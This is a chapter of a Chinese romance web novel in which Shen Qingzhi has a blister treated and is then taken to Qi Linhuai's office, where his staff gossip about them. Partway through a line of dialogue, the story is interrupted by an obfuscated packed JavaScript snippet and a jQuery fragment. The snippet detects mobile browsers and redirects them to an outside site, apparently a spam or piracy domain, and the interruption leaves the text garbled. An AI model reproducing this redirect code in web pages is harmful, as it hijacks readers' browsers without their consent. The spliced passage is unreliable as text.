“还没弄呢,你就一副天塌了的表情。”
沈青稚用幽怨的眼神瞪了祁临淮一眼,这人真是站着说话不腰疼,又不是他手上有泡。
“医生,不弄破行不行啊?”主要是她太害怕了,光是想一下要把那个水泡挤破,她就有点窒息。
医生看了眼这对颜值这么高的情侣,上班的那种死人味散了不少,果然人就是得看点养眼的,能缓解情绪。
“可以啊,但是你这个这么大了,就算现在不弄破,你回去以后能确保不蹭到碰到嘛?这要是蹭破了可比挑破痛得多,你自己选一个吧。”
沈青稚看医生那认真的表情,再脑补了一下自己做事情手不小心被什么东西蹭一下,瞬间就起了一身鸡皮疙瘩。
她眼睛一闭手一伸,脸上一副豁出去的样子,“医生你来吧,能不能温柔一点,我有点害怕。”
“哎呀不痛的,就是扎一个小孔把水挤出来,你别自己吓自己。”美女自己吓自己的样子还是很有意思的,医生不免多看了几眼,说话的语气也很温柔。
不过她男朋友一脸阴沉地盯着自己是干甚?你俩最配行不行,我祝你俩百年好合。
见医生拿来一个注射器,那长长的针头,沈青稚一看到就心里打怵。
她从小最害怕打针了,每次生病都得妈妈抓着她乱动的身体才能扎进去,长大了不需要人摁住,但还是会很害怕。
她皱着脸地抓住了祁临淮的手,眼睛不敢盯着看。
看了眼只抓着自己三根手指的小手,沈青稚一副惊弓之鸟的样子。祁临淮脚步动了动朝她靠近了一点,她就自觉地将脸埋进他的肚子上,像个刚出生的小猫儿似的。
沈青稚紧闭着双眼战战兢兢地等待着疼痛传来,但是没多久,医生就说了声好了。
“好了?”
“对啊,我没骗你,一点都不痛吧,你就是自己吓自己。”
果真不痛,原本手背那么大的水泡,现在已经完全瘪了下来,只剩下一层皱巴巴的皮。
以为处理好了,沈青稚就收回手准备起身离开,但屁股刚从椅子上挪开就被人叫住了。
“诶等等,还没好呢。”
“啊?噢噢噢噢。”被叫住后,沈青稚又重新坐回凳子上。
祁临淮看她这呆呆傻傻的样子就觉得有意思极了,没注意到自己的嘴角向上扬。
见他嘲笑自己,沈青稚气得用自己另一只完好的左手锤了他一下。笑屁笑!有什么好笑的!
“好好好。”
祁临淮大掌一包就将沈青稚的拳头包进自己的掌心里,小小一个,能被他完全包裹住。
用碘伏消毒后,医生又将她的手拿纱布包起来,这才完事。
两人往医院门口走,处理好伤口后的沈青稚又开始蹦蹦跳跳起来,完全没有刚才蔫蔫的样子。
“走吧,送你回去。”
“好....不行!”
“为什么不行?”
回什么去啊!现在还在刷存在感的阶段,肯定是能待在一起就待在一起,怎么可以分开呢!
沈青稚眼珠子转了转,思考着用什么借口和他待在一起比较好。还没等她说出来,祁临淮就反问她:“怎么,想和我待一起?”
既然你都这么说了,那我也不好意思拒绝。沈青稚马上眼睛一亮,问道:“可以嘛?”
祁临淮当然知道她在想什么,他偏偏不如她意,微笑着拒绝:“当然…不可以。”
“昂为啥啊?”沈青稚有些失望,笑脸一下子就垮了下去。
“我很忙,公司还有会议等着我。”
“我就不能跟你一起去公司吗?你放心我肯定不会打扰你工作的,我会特别安静地做一个透明人。我发誓!”沈青稚说着就举起自己的右手,然后反应过来手现在被包着,马上又换了左手,比着发誓的手势。
祁临淮走近她,微微弯腰和她的视线齐平,看着她的眼睛邪魅一笑:“就这么想和我待在一起啊?”
“是啊是啊。”沈青稚完全没有任何不好意思,反正她的目的这人也知道,那就没必要在他面前装了,大方笑着承认。
那副模样,明艳动人,漂亮的眼眸里祁临淮只能看得见自己。
他有些出神,装作不在意地点了点头。
沈青稚觉得自己还没有完全豁出去,因为进祁氏大楼的时候,她还是有些不好意思,恨不得贴在祁临淮身后走。
祁临淮感受着自己的衣服被扯着,身后的人亦步亦趋地跟着自己。自然知道她怕被人看见的小心思,不过他就是喜欢看她急得咬人的样子。
他一把将人扯了出来,然后长臂死死地抓着她的肩膀,另一只手将她捂着脸的手抓在手心里,逼她展露在众人面前。
这时候的祁临淮,沈青稚真的觉得坏得很!外界说的一点都没错!
一进电梯,沈青稚就恶狠狠地扒拉开他的手。大眼睛就这么瞪着他,无声地表达对他行为的不满。
“不是你要待在我旁边吗?我让大家都知道我身边的位置是你的,好让其他人不和你竞争不好吗?”祁临淮双手向后撑在电梯里的栏杆上,一副毫不在意的样子。
“不好,我要偷偷的。”
毕竟她只是要他的钱,呸让他心甘情愿高价买画。等钱到手了她就要把他一脚踹开,所以这件事当然是越少人知道越好了,最好悄无声息的。
而且她是Chloris的事,几乎没什么人知道,她也不准备告诉祁临淮。
沈青稚双手一抱,下巴一抬,一副傲娇的样子,心想:哼别看我现在跟你嘻嘻哈哈的,我才不会完全信任你呢,我还是对你持有警惕心的!
“那有什么意思,大家都知道才好玩啊。”祁临淮说着说着就将人搂到怀里,脸上一副不怀好意的样子,像故作天真的恶魔。
沈青稚简直要气死了,非要和她反着来是吧。
还没来得及从他怀里挣脱出来,电梯就到了,她直接就被搂着往外走。
一开始她还想反抗,楼下被人看到也就算了,楼上不能也被看到啊!但她才挣扎了两下,头顶就传来一个声音:“这没人。”
是吗?沈青稚尝试往周围看去,刚想说确实没人,就看到一扇门前有一排类似前台的构造,那里可是坐着两三个人呢!
骗子!
见她发现自己上当气急败坏的样子,祁临淮心情好地笑出了声,搂着人就进了自己的办公室。
他进去后,门口他那几个秘书纷纷起身互相对视了几眼。
“祁总这是笑了?”
“如果我没看错的话,应该是。”
“好可怕啊。”
“我去那个美女好大胆,竟然靠近咱们蛇塑的阴湿男鬼祁总,有胆量!下次我要去和她套套近乎。”
“不过这还是祁总第一次带女人来办公室诶,这不会是咱未来老板娘吧?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16461153|185420||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那我可得好好巴结一下。”
祁临淮的办公室大得很,比她爸以前那个大了不止两倍,果然有钱哈。
就在她认真参观的时候,办公桌前的祁临淮叫她过去。
你叫我过去我就过去?凭啥啊,你又不买我的画,凭啥都得听你的。
沈青稚这莫名其妙的骨气总是用在祁临淮身上,完全忘了自己是有求于人的弱势方。
“不是要刷存在感?你离我那么远我怎么感受得到你的存在?”
嘶你眼睛是瞎了吗?看不到她是吧?有点烦了啊,虽然她嘴上说着要刷脸,她也确实在刷,但你一直一直说,搞得现在跟强制做任务一样。
怎么说呢,在小说里就是那种被系统逼着攻略你的感觉。
心里虽然这么吐槽,但是没办法啊,沈青稚还是乖乖地朝他走去。
她才走近,就被祁临淮一把拉到了腿上坐着。
突如其来的亲密接触让沈青稚有些不适应,当即就想起身,奈何有一只大手牢牢锢着她的腰。
祁临淮总觉得沈青稚身上有种莫名好闻的味道,形容不上来是什么味道,就是很好闻,而且很独特,目前只在她身上闻到过这种味道。
“你喷香水了?”
“没有啊,我身上有味道吗?我咋没闻到。”沈青稚抬起手来嗅了嗅,没味道啊,倒是他身上应该喷了。
祁临淮没有说话,凑近她深深地吸了一口。
沈青稚突然觉得他有些变态了嗷,怎么一直闻她,明明她身上一点味道都没有。
这时突然门口传来敲门声。
祁临淮一动不动,嘴唇轻启溢出一个字:“进。”
“祁总,待会儿的会议还举行吗?”
门一打开,沈青稚就吓得赶紧将自己埋进祁临淮的胸前,就怕被人看到自己的脸。不过这个声音有点耳熟啊,感觉在哪儿听过。
被这一个人看到应该没关系吧?沈青稚试探性地抬起头往门口看去。
还真是她认识的,这不是那天晚上帮她拿鞋,还送她回家的那个男人吗。
“是你呀!”
见到沈青稚他似乎并不惊讶,朝她点了点头,“沈小姐好。”
“你好你好,你叫什么名字啊?”
“李舟。”
“李舟,谢谢你上次送我回家。”说着沈青稚就准备起身,但却被祁临淮死死地抓着腰,根本站不起来。
沈青稚无语地瞪了他一眼,放弃挣扎,坐在他腿上又继续对李舟说:“我下次请你吃饭呀。”
李舟正想说好呀,就看到自家老板那阴冷的眼神,跟蛇一样,感觉下一秒就会被缠上脖子。光是想想就能起一身鸡皮疙瘩,这顿饭看来他没有那个福气吃了。
沈小姐这么好看且礼貌的人,请的饭肯定也很好吃,心碎了。
他赶紧摇了摇头说:“不用客气的沈小姐,是祁总吩咐我送您回去的,您请祁总吃饭就行。”
“不不,不一样的。”
沈青稚还没说啥不一样,身后的祁临淮就幽幽地说:“会议照旧,你们先准备,我等会儿就来。”
得了老板的命令,李舟不敢逗留,鞠了一躬就赶紧退出办公室。
门外那几个同事见他出来都投来八卦的眼神。
“如何如何?”
“还是那个阴湿男鬼,鸡皮疙瘩鸡皮疙瘩。”李舟说着浑身抖了两下,一副被吓得不轻的样子。